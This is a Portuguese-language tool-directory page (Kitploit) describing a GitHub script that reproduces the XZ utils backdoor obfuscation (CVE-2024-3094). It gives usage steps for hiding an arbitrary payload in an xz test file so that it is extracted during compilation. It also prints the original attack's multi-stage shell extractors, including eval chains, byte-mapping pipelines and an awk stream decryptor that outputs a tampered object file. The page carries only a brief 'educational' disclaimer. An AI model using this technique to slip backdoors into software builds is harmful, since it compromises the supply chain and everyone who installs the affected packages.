Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
xzutils_backdoor_obfuscation — Script para ofuscar um payload da mesma forma como foi feito no ataque ao XZ utils (CVE-2024-3094) | Kitploit
Ferramentas/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ExploraçãoEngenharia ReversaAnálise de MalwareSegurança da Cadeia de SuprimentosAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubthomrgn/xzutils_backdoor_obfuscation

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

xzutils_backdoor_obfuscation

Script para ofuscar um payload da mesma forma como foi feito no ataque ao XZ utils (CVE-2024-3094)

Ver Repositório
há 10 mesesAinda não revisado

xzutils_backdoor_obfuscation

Este script recria a técnica de ofuscação usada no ataque ao XZ utils (CVE-2024-3094). Ele foi testado apenas para o xzutils v5.6.0.

⚠️ Este código é fornecido apenas para fins educacionais e não deve ser usado para atividades maliciosas. Use por sua conta e risco. ⚠️

Pré-requisito

Você deve ter o arquivo good-large_compressed.lzma original do xzutils 5.6.0 na sua pasta de trabalho.

Uso

Execute o seguinte ./obfuscate_payload.sh [your_payload]

Um arquivo good-large_compressed.lzma.modified será criado e deve ser colocado na pasta test/files do código-fonte do xzutils 5.6.0 com o nome good-large_compressed.lzma. O backdoor será então extraído durante o processo de compilação.

Limitações

Este código foi testado com um liblzma_la-crc64-fast.o editado, do mesmo tamanho que o original. Usar um arquivo maior pode não funcionar, pois o tamanho do payload é limitado.

Desofuscação do payload

Esta parte é opcional e mostra como desofuscar o payload de good-large_compressed.lzma. Você pode usá-la com o arquivo original ou com um criado usando este projeto.

Pré-requisito

Você deve ter os arquivos good-large_compressed.lzma e bad-3-corrupt_lzma2.xz originais do xzutils 5.6.0 na sua pasta de trabalho.

Passo 1: Extraia o script oculto em bad-3-corrupt_lzma2.xz

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

Isso fornecerá um script bash que executará o passo 2.

Passo 2: Extraia o segundo script oculto em good-large_compressed.lzma

Execute o seguinte código, obtido a partir da saída do estágio 1

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

Isso fornecerá outro script bash que executará o passo 3.

Passo 3: Extraia o payload oculto em good-large_compressed.lzma

Execute o seguinte código, obtido a partir da saída do estágio 2.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Baixar ferramenta